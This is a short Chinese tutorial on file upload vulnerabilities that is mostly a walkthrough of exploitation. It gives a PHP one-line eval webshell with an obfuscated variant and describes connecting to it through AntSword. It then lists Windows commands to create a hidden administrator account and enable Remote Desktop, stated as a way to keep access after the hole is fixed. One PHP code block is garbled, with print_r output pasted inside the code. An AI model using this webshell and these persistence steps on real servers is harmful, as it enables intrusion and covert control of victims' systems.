-
简介
文件上传漏洞
在现代互联网的web应用程序中,上传文件是一种常见的功能,因为它有助于提高业务效率,比如社交网站中,允许用户上传图片、视频、头像和许多其他类型的文件。然而向用户提供的功能越多,web应用受到攻击的风险就越大。如果web应用存在文件上传漏洞,那么恶意用户就可以利用文件上传漏洞将可执行脚本程序上传到服务器中,获取网站的权限,或者进一步危害服务器。
为什么文件上传存在漏洞?
上传文件时,如果服务器代码未对客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、aspx、php、jsp等格式的文件)。
会造成什么危害?
非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又称之为webshell,也可将webshell脚本称为一种网页后门,webshell脚本具有强大的功能,比如查看服务器目录,服务器中的文件,执行系统命令等。
处理文件上传操作的后端代码举例:
<?php
header("Content-type:text/html;charset=utf-8");
echo "<pre>";
print_r($_FILES);
Array
(
[file] => Array
(
[name] => qq.jpg
[type] => image/jpeg
[tmp_name] => C:\windows\phpIDE4.tmp
[error] => 0
[size] => 4645
)
)
echo "</pre>";
-
一句话木马
一句话木马是一种简单而有效的 Web 攻击工具,通常由攻击者通过 Web 应用程序漏洞(如未经身份验证的文件上传、SQL 注入等)将恶意代码注入 Web 服务器上。攻击者可以通过一句话木马运行任意代码、执行操作系统命令、控制 Web 服务器等,从而对受害者构成严重威胁。因为它只有一行代码,很容易被植入到其他程序中,让攻击者轻松地获得受害者计算机的访问权限。
以下是 PHP 中一句话木马的一个例子:
<?php @eval($_POST['file']); ?>
通过eval语句解析上传的文件并执行
变种:
{e}V{a}L($_POST['code']);
-
具体应用
在文件上传位置(如上传头像处)上传php脚本,在AntSword软件中链接php脚本的地址
链接成功后即可在虚拟终端上执行代码
创建隐藏账户:
net user jerry$ 123456 /add
将隐藏账户加入到管理员组中:
net localgroup administrators jerry$ /add
net user 查看不到隐藏的帐号信息
使用以下命令打开目标主机的远程桌面连接:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
打开远程桌面链接后,即使文件上传漏洞被修复,仍可以使用远程桌面连接